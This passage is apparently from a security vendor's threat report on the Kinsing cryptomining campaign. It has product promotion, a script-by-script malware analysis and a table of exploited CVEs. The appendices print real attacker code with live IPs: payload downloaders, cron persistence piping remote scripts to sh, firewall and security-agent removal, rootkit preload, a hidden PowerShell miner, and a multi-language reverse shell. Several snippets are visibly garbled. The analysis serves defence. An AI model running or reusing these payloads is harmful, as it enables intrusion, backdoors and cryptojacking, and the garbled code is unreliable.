To prevent potential threats like Kinsing, proactive measures such as hardening workloads pre-deployment are crucial. Aqua CNAPP allows security teams to detect and mitigate known vulnerabilities in their container images, helping prioritize patching based on many factors such as active exploitation in the wild and the availability of PoC (proof-of-concept) exploits. This significantly reduces the attack surface and closes off potential entry points for attackers.

Figure 14: The Aqua platform fails the build when a high rank vulnerability is detected
While vulnerability scanning and timely patching play a pivotal role in prevention, ensuring runtime protection is equally essential. Aqua CNAPP addresses this need with intelligence-driven runtime protection and quickly deploys granular controls layered throughout your environment. Drift prevention seamlessly enforces the container immutability to identify and block unauthorized processes in running containers with no downtime.

Beyond traditional signature-based malware detection, Aqua CNAPP offers advanced protection against unknown and zero-day threats. Leveraging real-world threat intelligence from Aqua Nautilus, eBPF-based behavioral detection enables security teams to identify and respond to behavioral anomalies that may indicate a compromise, such as manual command executions and lateral movements associated with Kinsing attacks.

For example, here’s how Aqua detects the Kinsing attack exploiting the Openfire vulnerability:

**Figure 15: Openfire vulnerability CVE-2023-32315 details in the Aqua platform**
Figure 16: The Kinsing attack timeline in the Aqua platform

Figure 17: Drift detection in the Aqua platform: The file `kdevtmpfsi` (a Monero cryptominer) is downloaded into the container
Aqua CNAPP offers comprehensive protection for cloud native workloads everywhere they run – whether in the public cloud, on-premises, or across hybrid and multi-cloud environments. By leveraging Aqua CNAPP, organizations can enhance their ability to detect and mitigate threats in real time, thereby ensuring a robust security posture even against advanced and persistent threats.
Appendix 1: IOCs Table

https://github.com/nautilus-aqua/Kinsing-Indication-of-Compromise

Kinsing-Indication-of-Compromise

This repo contains indication of compromise of Kinsing threat actor that were collected over a period of few years.
Appendix 2: In-Depth Analysis of Scripts

Type I Scripts – Comprehensive Analysis
We analyzed 44 Type I scripts. They are 97% similar; the only difference is in one snippet responsible for creating a cron job to download the script from the attacker's C2 server. The difference is within the name of the script, as each script calls itself. We analyzed each row in the script based on three major concepts: contributing to the attack flow, defense evasion items, and killing competition.

Type I scripts: scg.sh, sup.sh, wpf.sh, an.sh, cp2.sh, do.sh, ex.sh, hb.sh, kn.sh, ku.sh, lf.sh, lh2.sh, lr.sh, md.sh, mo.sh, ni.sh, pa.sh, pg.sh, ph2.sh, sa.sh, sc.sh, sp.sh, st.sh, tf.sh, tm.sh, tr.sh, vb.sh, ws.sh, a.sh, c.sh, d.sh, f.sh, j.sh, k.sh, m.sh, n.sh, o.sh, p.sh, r.sh, s.sh, t.sh, w.sh, spr.sh, unk.sh

Contributing to the attack flow
These snippets are designed to facilitate the attack of Kinsing:

1. Setting the kinsing file according to the server's architecture.

Figure 18: Kinsing binaries download code

```bash
BIN_MD5="b3039abf2ad5202f4a9363b418802351"
BIN_DOWNLOAD_URL="http://45.15.158.124/kinsng"
BIN_DOWNLOAD_URL2="http://45.15.158.124/kinsng"
BIN_NAME="kinsng"
arch=$(uname -i)
if [ $arch = aarch64 ]; then
    BIN_MD5="da753ebcfe793614129fc11890acedbc"
    BIN_DOWNLOAD_URL="http://45.15.158.124/kinsng_aarch64"
    BINDOWNLOAD_URL2="http://45.15.158.124/kinsng_aarch64"
    echo "arm executed"
fi
```
2. Setting up a backdoor, by creating a cron job to download the shell script (the current main payload) again. In Figure 19 below, you can see that the code is designed to look in `crontab` for the IP address. If the IP isn’t found the code is designed to download the script `wpf.sh`, into `crontab`.

**Figure 19: setting a cronjob**

```bash
crontab -l | sed '/wget/d' | crontab -
crontab -l | sed '/curl/d' | crontab -
crontab -l | grep -e "185.122.204.197" | grep -v grep
if [ $? -eq 0 ]; then
    echo "cron good"
else
    crontab -l 2>/dev/null
    echo "** *** * * * $LDR http://185.122.204.197/wpf.sh | sh >
    /dev/null 2>&1"
) | crontab -
fi
```

**Defense evasion items**

These snippets are designed to evade detection of the malicious activities:

1. Stopping and deleting security tools (`selinux`, `aegis` and `apparmor`).

**Figure 20: disabling and removing security applications**

```bash
stop_aegis(){
    killall -9 aegis_client >/dev/null 2>&1
    killall -9 aegis_update >/dev/null 2>&1
    killall -9 aegis_client >/dev/null 2>&1
    printf "%-40s %40s\n" "Stopping aegis" "[ OK ]"
}

stop_quartz(){
    killall -9 aegis_quartz >/dev/null 2>&1
    printf "%-40s %40s\n" "Stopping quartz" "[ OK ]"
}

remove_aegis(){
if [ -d /usr/local/aegis ];then
    rm -rf /usr/local/aegis/aegis_client
    rm -rf /usr/local/aegis/aegis_update
fi
}
```
2. In Figure 21 below, you can see two commands that significantly alter the security posture of the victim system by removing firewall protections. The command `ufw disable` turns off the UFW firewall and stops UFW from enforcing any of its configured rules. The second command `iptables -F`, is flushing iptables rules effectively removes all filtering and forwarding rules.

**Figure 21: disabling firewall and flushing iptables**

```
ufw disable
iptables -f
```

### Killing competition

These snippets are designed to stop competitors’ malicious activities:

1. Stopping processes: The snippet, in Figure 22 below, targets specific processes for termination while iterating through all entries in the `/proc` directory.

**Figure 22: iterating over /proc directory**

```bash
cat /proc/*/exe | grep -e 'atlas' -e '/tmp/systemd-private-
|bin/systemd-private-\bin/xorg|/tmp/xorg|/data/pg_mem|/var/\n|qsql/postgresql/data/ |/memory'; then
    result=$[echo "$filename" | sed "s/\%/\///"]
    kill -9 $result
    echo found $filename $result
de
```

2. Killing processes: In Figure 23 below, there are few examples of commands aimed at detecting specific processes or IP addresses or text in files in order to kill the relevant processes, which are all part of competitors’ campaigns.

**Figure 23: terminating competing attacks**

```bash
killf() {
    kill -f donkey
    kill -f sysupdate
    ps aux | grep "perfect" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -l "\%" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
    netstat -anp | grep "34.81.218.76:9486" | awk '{print $7}' | awk -F'/"' '{print $1} | grep -v "s" | xargs -I % kill -9 %
    netstat -anp | grep "42.112.22.210:9486" | awk '{print $7}' | awk -F'/"' '{print $1} | grep -v "s" | xargs -I % kill -9 %
    cat /tmp/systemd 1| xargs -I % kill -9 %
    kill -9 $(cat /tmp/systemd 1)
    kill -9 $(cat /tmp/systemd 2)
}
```
Type II Scripts – comprehensive analysis

We analyzed 27 type II scripts. Like the Type I scripts, these scripts bear 97% similarity. We analyzed each row in the script based on 3 major concepts: contributing to the attack flow, defense evasion items and killing competition.

**Type II scripts:** lr2.sh, pg2.sh, tr2.sh, vml.sh, se.sh, ae.sh, ap.sh, bg.sh, ce.sh, cf.sh, cp.sh, ge.sh, gi.sh, gl.sh, ki.sh, lh.sh, mi.sh, mt.sh, ph.sh, py.sh, rm.sh, sm.sh, vm.sh, xx.sh, kos.sh, tc.sh, acb.sh

Below we will cover only the differences from Type I scripts.

**Contributing to the attack flow**

1. Implementing a curl function in case **curl**, **wget** or other utilities aren’t installed on the server.

![Figure 24: implementing a curl application](image-url)
Defense evasion items

1. Deploying a rootkit to hide the malicious processes. You can read more about it in the rootkit section in the main section of the report.

Figure 25: rootkit download and deployment code

```bash
S0_FULL_PATH="$BIN_PATH/$SO_NAME"
S0_DOWNLOAD_URL="http://45.15.150.124/libsystem.so"
S0_DOWNLOAD_URL2="http://45.15.150.124/libsystem.so"
S0_MD5="ccef46c7ed9131ccfc47bd69eb743b"

so() {
    soExists=$(checkExists "$S0_FULL_PATH" "$S0_MD5")
    if [ "$soExists" == "true" ]; then
        echo "$S0_FULL_PATH exists and checked"
    else
        echo "$S0_FULL_PATH not exists"
        download $S0_FULL_PATH $S0_DOWNLOAD_URL
        binExists=$(checkExists "$S0_FULL_PATH" "$S0_MD5")
        if [ "$binExists" == "true" ]; then
            echo "$S0_FULL_PATH after download exists and checked"
        else
            echo "$S0_FULL_PATH after download not exists"
            download $S0_FULL_PATH $S0_DOWNLOAD_URL2
            binExists=$(checkExists "$S0_FULL_PATH" "$S0_MD5")
            if [ "$binExists" == "true" ]; then
                echo "$S0_FULL_PATH after download2 exists and checked"
            else
                echo "$S0_FULL_PATH after download2 not exists"
                fi
        fi
    fi
    echo $S0_FULL_PATH ->/etc/ld.so.preload
}
```

Killing competition

1. Extended list of specific processes for termination while this snippet is iterating through all the entries in the `/proc` directory (compared with Type I scripts).
2. The long list of process kills is now divided into functions, as can be seen in Figures 26 and 27 below:

Figure 26: cleaning `cron` from competing attacks

```bash
cleanCron() {
    crontab -l | sed '/base64/d' | crontab -
crontab -l | sed '/cron/d' | crontab -
crontab -l | sed '/31.210.20.181/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
...}
```

Figure 27: eliminating competing attacks

```bash
killF(){
    kill -s sshd ...
    netstat -anp | grep "1414" | ... | xargs -I% kill -9 %
    ps aux | grep "tracepath" | ... | xargs -I% kill -9 %
    cat /tmp/X11-unix/01|xargs -I% kill -9 %
    ...}
```
Auxiliary scripts analysis
These 14 scripts are often dedicated to specific applications that are dropped and executed as part of the attack kill chain and set a specific purpose. In this section we review each of these scripts.

Auxiliary scripts: cron.sh, al.sh, l.psl, ci.sh, du.sh, rv.sh, cpr.sh, cpu.sh, uninstall.sh, wbw.xml, wb.xml, k.xml, kk.xml, ll.sh

cron.sh
This script contains 161 rows that are designed to kill the competition (see Type I or Type II scripts above), a few lines of defense evasion, and persistence by creation of a cron job that downloads and runs the script unk.sh, which is a Type I script, possibly standing for “unified Kinsing.”

al.sh
This script is designed to disable and remove specific security and monitoring components related to Alibaba Cloud and Tencent Cloud services from a Linux system, as can be seen in Figure 20.
The PowerShell script appears to be involved in downloading, installing, and executing a cryptominer on the host system.

This PowerShell script sets up a number of variables for URLs, file sizes, and names related to a cryptocurrency miner (xmrig.exe) and its configuration file (config.json).

The script checks if the miner executable and its configuration file exists at the specified paths. If they do, it checks their sizes against the expected sizes and updates them if they don't match. If the files don't exist, the script downloads them using the `update` function. Next, the PowerShell checks if the miner process is running. If it's not running, it starts the miner process in a hidden window.

Figure 28: some snippets from the powershell

```powershell
$nc = $MyInvocation.MyCommand.Path
$miner_url = 'http://45.15.158.124/xmrig.exe'
$miner_url_backup = 'http://45.15.158.124/xmrig.exe'
$miner_size = 457824
$miner_name = 'sysupdate'
$miner_cfg_url = 'http://45.15.158.124/config.json'
$miner_cfg_url_backup = 'http://45.15.158.124/config.json'
$miner_cfg_size = 3714
$miner_cfg_name = 'config.json'

$miner_path = '$env:TMP\sysupdate.exe'
$miner_cfg_path = '$env:TMP\config.json'
$payload_path = '$env:TMP\update.ps1'

Remove-Item $payload_path
Remove-Item $HOME\update.ps1
Try {
    $svc.DownloadFile($payload_url,$payload_path)
} Catch {
    Write-Output 'download with backurl'
    $svc.DownloadFile($payload_url_backup,$payload_path)
}

echo F | xcopy /y $payload_path $HOME\update.ps1

SchTasks.exe /Create /SC MINUTE /TN "Update service for windows service" /TR "PowerShell.exe -ExecutionPolicy Bypass -Windowstyle hidden File $HOME\update.ps1" /MD 38 /F

{if(!$Get-Process $miner_name -ErrorAction SilentlyContinue) {
    Write-Output 'Miner Not running'
    Start-Process $miner_path -Windowstyle hidden
} else {
    Write-Output 'Miner Running'
}

Start-Sleep 5
This is actually not an auxiliary script. It’s a script that launches an attack on the Citrix NetScaler application. As opposed to Type I and Type II scripts, there are three different cron jobs to ensure persistence on the Citrix server.

Furthermore, in this case, Kinsing malware isn't downloaded. This is the most distinct signature of this threat actor yet, but in this case another binary is downloaded by the name of `klli` (MD5 568f7b1d6c2239e208ba97886acc0b1e). This, however, is found on the Kinsing download server and thus we affiliate this attack with the Kinsing campaigns.

**Figure 29: From the `ci.sh` script**

```bash
find /netscaler/portal/scripts -type f -newermt '1/07/2019 0:00:00' -exec rm -rf {} \;
find /netscaler/portal/templates -type f -newermt '1/07/2019 0:00:00' -exec rm -rf {} \;
mv /netscaler/portal/scripts/newmnn.pl /netscaler/portal/scripts/newmnn.pl
mv /netscaler/portal/scripts/newmmmm.pl /netscaler/portal/scripts/newmmmm.pl
mv /netscaler/portal/scripts/newbnnn.pl /netscaler/portal/scripts/newbnnn.pl
mv /netscaler/portal/scripts/newbnnnn.pl /netscaler/portal/scripts/newbnnnn.pl
rm -rf /netscaler/portal/scripts/newmnnn.pl
rm -rf /netscaler/portal/scripts/newbnnn.pl
rm -rf /netscaler/portal/scripts/newbnnnn.pl
rm -rf /netscaler/portal/scripts/pickthemezzz.pl
rm -rf /netscaler/portal/scripts/PersonalBookmark.pl
```

**Figure 30: the `du.sh` script**

```bash
#!/bin/bash
echo UFJPQz0kKH '<<truncated>>' CmZpCg==|base64 -d|bash
```
When decoded, the script seems to be designed to ensure that only one instance of a process named `kinsing` that is using the file `/tmp/linux.lock` is running. If there are multiple such processes, it kills all of them except the one using the file.

Figure 31: The decoded script

```
PROC=$(ps aux | grep -v grep | grep 'kinsing' | grep -v defunct | awk '{print $2}')
PROC_COUNT=$(ps aux | grep -v grep | grep 'kinsing' | grep -v defunct | awk '{print $2}' | wc -l)
FILE="/tmp/linux.lock"
if [ $PROC_COUNT -gt 1 ]
then
    echo "$PROC_COUNT is greater than 1"
    if [ -f "$FILE" ]; then
        echo "$FILE exists."
        USED_PROC=$(ls -f $FILE | awk '{print $2}' | grep -v PID)
        echo $USED_PROC
        size=$(ps $USED_PROC)
        echo "size = $size"
        if [ $size -gt 0 ]
        then
            arr=$(PROC)
            for procId in "${arr[@]}"
            do
                if [ "$procId" == "$USED_PROC" ]; then
                    echo "need "$procId"
                else
                    #echo "need "$procId"
                    kill -9 $procId
                    ps ax|grep $procId|grep -v grep
                fi
            done
        else
            echo "$FILE does not exist."
        fi
    else
        echo "not exists, $PROC_COUNT"
    fi
else
    echo "$PROC_COUNT is less than 1"
fi
```
This is an open-source reverse shell script that can be found on GitHub - here. As illustrated in Figure 32 below, the Kinsing threat actor modified the script to open a reverse shell to a server under his control.

Figure 32: the `rv.sh` script, a reverse shell script

```python
# Reverse Shell as a Service
# https://github.com/lukechilds/reverse-shell
#
# 1. On your machine:
#    nc -l 1337
#
# 2. On the target machine:
#    curl https://reverse-shell.sh/yourip:1337 | sh
#
# 3. Don't be a dick

if command -v python > /dev/null 2>&1; then
    python -c "import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(('45.15.158.124',7777));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);
    p=subprocess.call(['/bin/sh','-i']);'
    exit;
fi

if command -v perl > /dev/null 2>&1; then
    perl -e 'use Socket;
    $i="45.15.158.124";
    $p=7777;
    socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
    if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");}';
    exit;
fi

if command -v nc > /dev/null 2>&1; then
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 45.15.158.124 7777 >/tmp/f
    exit;
fi

if command -v ssh > /dev/null 2>&1; then
    /bin/sh -i & /dev/tcp/45.15.158.124/7777 0>&1
    exit;
fi
```
This script looks like it's cleaning Kinsing from the server. Maybe it's a revert script to clean Kinsing from an infected system or a preparation script before cp, to prepare the server for infection.

**Figure 33: the `cpr.sh` script**

```bash
#!/bin/bash

ulimit -n 65535

chattr -i /etc/id.so.preload
rm -f /etc/id.so.preload
chattr -R -l /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo '0 -> proc/sys/kernel/mm_watchdog' >>/etc/sysctl.conf
LD_LIBRARY="wget -q -O -" if [-s /usr/bin/curl ]; then
LD_LIBRARY="curl"
fi
if [-s /usr/bin/wget ]; then
LD_LIBRARY="wget -q -O -"
fi

crontab -l | sed '/385.122.204.197/d' | crontab -

kill -f kinsing
kill -f kdevtmpfs
rm -rf /tmp/kdevtmpfs

(curl -s http://45.15.188.124/cp.sh|wget -q -O- http://45.15.188.124/cp.sh)|sudo bash
```
This script is very similar to the al.sh script which cleans the defense controls of Alibaba Cloud.

Figure 34: the uninstall script

```bash
#!/bin/bash

# check Linux Gentoo os
var=$(lsb_release -a | grep Gentoo)
if [ -z "$var" ]; then
  var=$(lsb_release -a | grep Gentoo)
fi

if [ -d "/etc/runtlevels/default" -a -n "$var" ]; then
  LINUX_RELEASE="GENTOO"
else
  LINUX_RELEASE="OTHER"
fi

stop_aegis() {
  killall -9 aegis_client >dev/null 2>&1
  killall -9 aegis_update >dev/null 2>&1
  killall -9 aegis_client >dev/null 2>&1
  killall -9 AltyunDun >dev/null 2>&1
  killall -9 AltyunDunUpdate >dev/null 2>&1
  killall -9 AltyunDunUpdate >dev/null 2>&1
  killall -9 AltyunDunUpdate >dev/null 2>&1
  print "%4B %4B\n" "Stopping aegis" "[ OK ]"
}

remove_aegis() {
  if [ -d /usr/local/aegis ]; then
    rm -rf /usr/local/aegis/aegis_client
    rm -rf /usr/local/aegis/aegis_update
    rm -rf /usr/local/aegis/altiids
  fi
}

uninstall_service() {
  if [ -f /etc/init.d/aegis ]; then
    /etc/init.d/aegis stop >dev/null 2>&1
    rm -f /etc/init.d/aegis
  fi

  if [ "$LINUX_RELEASE" = "GENTOO" ]; then
    rc-update del aegis default >dev/null
    if [ -f /etc/runtlevels/default/aegis ]; then
      rm -F /etc/runtlevels/default/aegis >dev/null 2>&1;
    fi
  elif [ -f /etc/init.d/aegis ]; then
    /etc/init.d/aegis uninstall
    for ((var=2; var<5; var++)); do
      if [ -d "/etc/rc$var.d" ]; then
        rm -f /etc/rc$var.d/SS99aegis
      fi
      if [ -d "/etc/rc$var.d/SS94aegis" ]; then
        rm -f /etc/rc$var.d/SS94aegis
      fi
    done
  fi

  stop_aegis
  uninstall_service
  remove_aegis
  umount /usr/local/aegis/aegis_debug

  printf "%4B %4B\n" "Uninstalling aegis" "[ OK ]"
```
wb.xml and wbw.xml

These two xml files seem to have the same purpose. Both are designed to exploit the Oracle WebLogic Server RCE vulnerability CVE-2020-14883. On Linux servers the `wb.sh` shell script is dropped and executed.

Figure 35: Weblogic Linux exploiting script

On Windows machines, a PowerShell (`1.ps1`) is dropped and executed.

Figure 36: Weblogic Windows exploiting script

k.xml and kk.xml

The purpose of these payloads is to exploit XML parsers that are vulnerable to XML external entity attacks. If the attack is successful, the attacker can read the contents of the `/opt/zimbra/conf/localconfig.xml` or ..`/conf/localconfig.xml` file by examining the value of the wocaq entity. This can lead to information disclosure, potentially revealing sensitive data or configurations.

Figure 37: k.xml exploit

Figure 38: kk.xml exploit
This is an extended snippet that appears both in Type I and Type II scripts. It's a list of specific processes for termination while this snippet is iterating through all the entries in the `/proc` directory. It could be that the Kinsing threat actor often updates this snippet and thus created an external script to support a frequent content update.

Figure 39: iterating over `/proc` directory

```bash
for filename in /proc/*/; do
  exe=$(ls -latr $filename 2> /dev/null|grep exe)
  if echo $exe |grep -q "atlas.x86\{dotsh\}" /tmp/systemd-private-\{bin/sysinit\}\.bin/xorg\{nine.x86\}data/pg_mem\ /var/lib/postgresql/data/.*/memory\ /var/tmp/.bin/systemd\balder\ sys\system\/rtv88\_piled\_bin/s/\httpd\watchdog\/\var/root\Soft\" $exe 3sec218-cc42-0f5a-870c22d132e9\ /\tmp/watchdog\/cpu\_hu\/\tmp/Manager\ /tmp/mem\ /\tmp/gerg3d/\var/tmp/\java\ /\var/lib/postgresql\data/postmaster\; then
    result=$(echo "$filename" | sed "s/\$\//v/"")
    echo found $filename $result
  fi
done
```
## Appendix 3: MITRE table with details

<table>
<thead>
<tr>
<th>Script</th>
<th>Classification</th>
<th>Application</th>
<th>CVE/Misconfiguration</th>
</tr>
</thead>
<tbody>
<tr>
<td>a.sh</td>
<td>Type I</td>
<td>Apache</td>
<td>CVE-2021-41773</td>
</tr>
<tr>
<td>acb.sh</td>
<td>Type II</td>
<td>Apache CouchDB</td>
<td>CVE-2022-24706</td>
</tr>
<tr>
<td>ae.sh</td>
<td>Type II</td>
<td>Apeereo CAS</td>
<td>4.1-rce</td>
</tr>
<tr>
<td>an.sh</td>
<td>Type I</td>
<td>Ansible</td>
<td>CVE-2020-10684</td>
</tr>
<tr>
<td>ap.sh</td>
<td>Type II</td>
<td>Apache Spark</td>
<td>CVE-2020-9480</td>
</tr>
<tr>
<td>bg.sh</td>
<td>Type II</td>
<td>BIG-IP TMUI</td>
<td>CVE-2020-5902</td>
</tr>
<tr>
<td>c.sh</td>
<td>Type I</td>
<td>Confluence</td>
<td>CVE-2021-26084</td>
</tr>
<tr>
<td>ce.sh</td>
<td>Type II</td>
<td>Celery</td>
<td>uns_authenticated</td>
</tr>
<tr>
<td>cf.sh</td>
<td>Type II</td>
<td>Confluence</td>
<td>CVE-2022-26134</td>
</tr>
<tr>
<td>cp.sh</td>
<td>Type II</td>
<td>Unsolved</td>
<td>Unsolved</td>
</tr>
<tr>
<td>cp2.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unsolved</td>
</tr>
<tr>
<td>d.sh</td>
<td>Type I</td>
<td>Docker API</td>
<td>Misconfiguration</td>
</tr>
<tr>
<td>do.sh</td>
<td>Type I</td>
<td>Apache Dubbo</td>
<td>CVE-2019-17564</td>
</tr>
<tr>
<td>ex.sh</td>
<td>Type I</td>
<td>Apache HTTP</td>
<td>CVE-2021-41773</td>
</tr>
<tr>
<td>f.sh</td>
<td>Type I</td>
<td>Apache Flink</td>
<td>CVE-2020-17519</td>
</tr>
<tr>
<td>ge.sh</td>
<td>Type II</td>
<td>GeoServer</td>
<td>CVE-2023-35042</td>
</tr>
<tr>
<td>gi.sh</td>
<td>Type II</td>
<td>GitLab CE</td>
<td>CVE-2021-22205</td>
</tr>
<tr>
<td>gl.sh</td>
<td>Type II</td>
<td>GlassFish</td>
<td>Weak password</td>
</tr>
<tr>
<td>h.sh</td>
<td>Type I</td>
<td>Hadoop Yarn</td>
<td>CVE-2017-15718</td>
</tr>
<tr>
<td>h2.sh</td>
<td>Type I</td>
<td>Hadoop Yarn</td>
<td>CVE-2017-15718</td>
</tr>
<tr>
<td>hb.sh</td>
<td>Type I</td>
<td>H2 database</td>
<td>uns_authenticated</td>
</tr>
<tr>
<td>j.sh</td>
<td>Type I</td>
<td>Jenkins</td>
<td>CVE-2018-1000861</td>
</tr>
<tr>
<td>k.sh</td>
<td>Type I</td>
<td>Kafka</td>
<td>CVE-2023-25194</td>
</tr>
<tr>
<td>ki.sh</td>
<td>Type II</td>
<td>Kibana</td>
<td>CVE-2019-7609</td>
</tr>
<tr>
<td>kn.sh</td>
<td>Type I</td>
<td>Knife</td>
<td>CVE-2016-4326</td>
</tr>
<tr>
<td>kos.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unsolved</td>
</tr>
<tr>
<td>ku.sh</td>
<td>Type II</td>
<td>Kubernetes</td>
<td>Misconfiguration</td>
</tr>
<tr>
<td>lf.sh</td>
<td>Type I</td>
<td>Liferay</td>
<td>CVE-2020-7961</td>
</tr>
<tr>
<td>Script</td>
<td>Classification</td>
<td>Application</td>
<td>CVE/Misconfiguration</td>
</tr>
<tr>
<td>--------</td>
<td>----------------</td>
<td>-------------</td>
<td>----------------------</td>
</tr>
<tr>
<td>lh.sh</td>
<td>Type II</td>
<td>log4j</td>
<td>CVE-2021-44228</td>
</tr>
<tr>
<td>lh2.sh</td>
<td>Type I</td>
<td>log4j</td>
<td>CVE-2021-44228</td>
</tr>
<tr>
<td>lr.sh</td>
<td>Type I</td>
<td>Laravel Ignition</td>
<td>CVE-2021-3129</td>
</tr>
<tr>
<td>lr2.sh</td>
<td>Type II</td>
<td>Laravel Ignition</td>
<td>CVE-2021-3129</td>
</tr>
<tr>
<td>m.sh</td>
<td>Type I</td>
<td>Magento</td>
<td>CVE-2022-24086</td>
</tr>
<tr>
<td>md.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unsolved</td>
</tr>
<tr>
<td>mi.sh</td>
<td>Type II</td>
<td>Micro Focus Operation Bridge Manager</td>
<td>CVE-2020-11854</td>
</tr>
<tr>
<td>mo.sh</td>
<td>Type I</td>
<td>MobileIron Core &amp; Connector</td>
<td>CVE-2020-15505</td>
</tr>
<tr>
<td>mt.sh</td>
<td>Type II</td>
<td>Metabase</td>
<td>CVE-2023-38646</td>
</tr>
<tr>
<td>n.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unsolved</td>
</tr>
<tr>
<td>ni.sh</td>
<td>Type I</td>
<td>Apache NiFi</td>
<td>Weak password</td>
</tr>
<tr>
<td>o.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unsolved</td>
</tr>
<tr>
<td>p.sh</td>
<td>Type I</td>
<td>PHP-FPM</td>
<td>CVE-2019-11043</td>
</tr>
<tr>
<td>pa.sh</td>
<td>Type I</td>
<td>PhpMyAdmin</td>
<td>CVE-2016-5734</td>
</tr>
<tr>
<td>pg.sh</td>
<td>Type I</td>
<td>postgresql</td>
<td>unauthenticated</td>
</tr>
<tr>
<td>pg2.sh</td>
<td>Type II</td>
<td>postgresql</td>
<td>unauthenticated</td>
</tr>
<tr>
<td>ph.sh</td>
<td>Type II</td>
<td>PHPUnit</td>
<td>CVE-2017-9841</td>
</tr>
<tr>
<td>ph2.sh</td>
<td>Type I</td>
<td>PHPUnit</td>
<td>CVE-2017-9841</td>
</tr>
<tr>
<td>py.sh</td>
<td>Type II</td>
<td>Python PIL/Pillow</td>
<td>CVE-2018-16509</td>
</tr>
<tr>
<td>r.sh</td>
<td>Type I</td>
<td>Redis</td>
<td>unauthenticated</td>
</tr>
<tr>
<td>rm.sh</td>
<td>Type II</td>
<td>Apache Rocketmq</td>
<td>CVE-2023-33246</td>
</tr>
<tr>
<td>s.sh</td>
<td>Type I</td>
<td>Solr Dataimport</td>
<td>CVE-2019-0193</td>
</tr>
<tr>
<td>sa.sh</td>
<td>Type I</td>
<td>SaltStack</td>
<td>CVE-2020-11651</td>
</tr>
<tr>
<td>sc.sh</td>
<td>Type I</td>
<td>Scrapyd daemon</td>
<td>XXE</td>
</tr>
<tr>
<td>scg.sh</td>
<td>Type I</td>
<td>Spring Cloud Gateway</td>
<td>CVE-2022-22947</td>
</tr>
<tr>
<td>se.sh</td>
<td>Type II</td>
<td>Unsolved</td>
<td>Unsolved</td>
</tr>
<tr>
<td>sm.sh</td>
<td>Type II</td>
<td>SambaCry</td>
<td>CVE-2017-7494</td>
</tr>
<tr>
<td>sp.sh</td>
<td>Type I</td>
<td>Supervisor</td>
<td>CVE/Misconfiguration</td>
</tr>
<tr>
<td>spr.sh</td>
<td>Other</td>
<td>Apache Spark</td>
<td>CVE-2022-33891</td>
</tr>
<tr>
<td>Script</td>
<td>Classification</td>
<td>Application</td>
<td>CVE/Misconfiguration</td>
</tr>
<tr>
<td>---------</td>
<td>----------------</td>
<td>-------------------------------</td>
<td>----------------------------</td>
</tr>
<tr>
<td>spri.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unresolved</td>
</tr>
<tr>
<td>st.sh</td>
<td>Type I</td>
<td>Strapi</td>
<td>CVE-2019-19609</td>
</tr>
<tr>
<td>sup.sh</td>
<td>Type I</td>
<td>Supervisor11610</td>
<td>CVE-2017-11610</td>
</tr>
<tr>
<td>t.sh</td>
<td>Type I</td>
<td>ThinkPHP5RCE</td>
<td>CVE-2017-9841</td>
</tr>
<tr>
<td>tc.sh</td>
<td>Type II</td>
<td>Apache Tomcat</td>
<td>Weak password</td>
</tr>
<tr>
<td>tf.sh</td>
<td>Type I</td>
<td>ThinkCMF</td>
<td>ThinkCMF X1.6.0</td>
</tr>
<tr>
<td>tm.sh</td>
<td>Type I</td>
<td>TerraMaster NAS (TNAS)</td>
<td>CVE-2022-24990</td>
</tr>
<tr>
<td>tr.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unresolved</td>
</tr>
<tr>
<td>tr2.sh</td>
<td>Type II</td>
<td>Unsolved</td>
<td>Unresolved</td>
</tr>
<tr>
<td>unk.sh</td>
<td>Type I</td>
<td>Ubuntu</td>
<td>General</td>
</tr>
<tr>
<td>vb.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unresolved</td>
</tr>
<tr>
<td>vm.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unresolved</td>
</tr>
<tr>
<td>vml.sh</td>
<td>Type II</td>
<td>Unsolved</td>
<td>Unresolved</td>
</tr>
<tr>
<td>vml.sh</td>
<td>Type I</td>
<td>Unsolved</td>
<td>Unresolved</td>
</tr>
<tr>
<td>w.sh</td>
<td>Type I</td>
<td>Weave Scope</td>
<td>Unauthenticated</td>
</tr>
<tr>
<td>wb.sh</td>
<td>Type I</td>
<td>WebLogic server</td>
<td>CVE-2020-14883 / CVE-2020-14882 / CVE-2020-14750</td>
</tr>
<tr>
<td>wpf.sh</td>
<td>Type I</td>
<td>Word press file manager</td>
<td>CVE-2020-25213</td>
</tr>
<tr>
<td>ws.sh</td>
<td>Type I</td>
<td>WSO2 products</td>
<td>CVE-2022-29464</td>
</tr>
<tr>
<td>xx.sh</td>
<td>Type II</td>
<td>XXL-JOB RCE</td>
<td>CVE-2020-23814</td>
</tr>
</tbody>
</table>
## Appendix 3: MITRE table with details

<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
<th>MITRE ID</th>
<th>Kinsing's Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Reconnaissance</td>
<td>Active Scanning: Vulnerability Scanning</td>
<td>T1595.002</td>
<td>Kinsing's scanning infrastructure is looking for vulnerabilities and misconfigurations.</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Impair Defenses: Disable or Modify</td>
<td>T1562.004</td>
<td>In the main payload kinsing is disabling the ufw firewall and flushing iptables.</td>
</tr>
<tr>
<td></td>
<td>System Firewall</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>Impair Defenses: Disable or Modify</td>
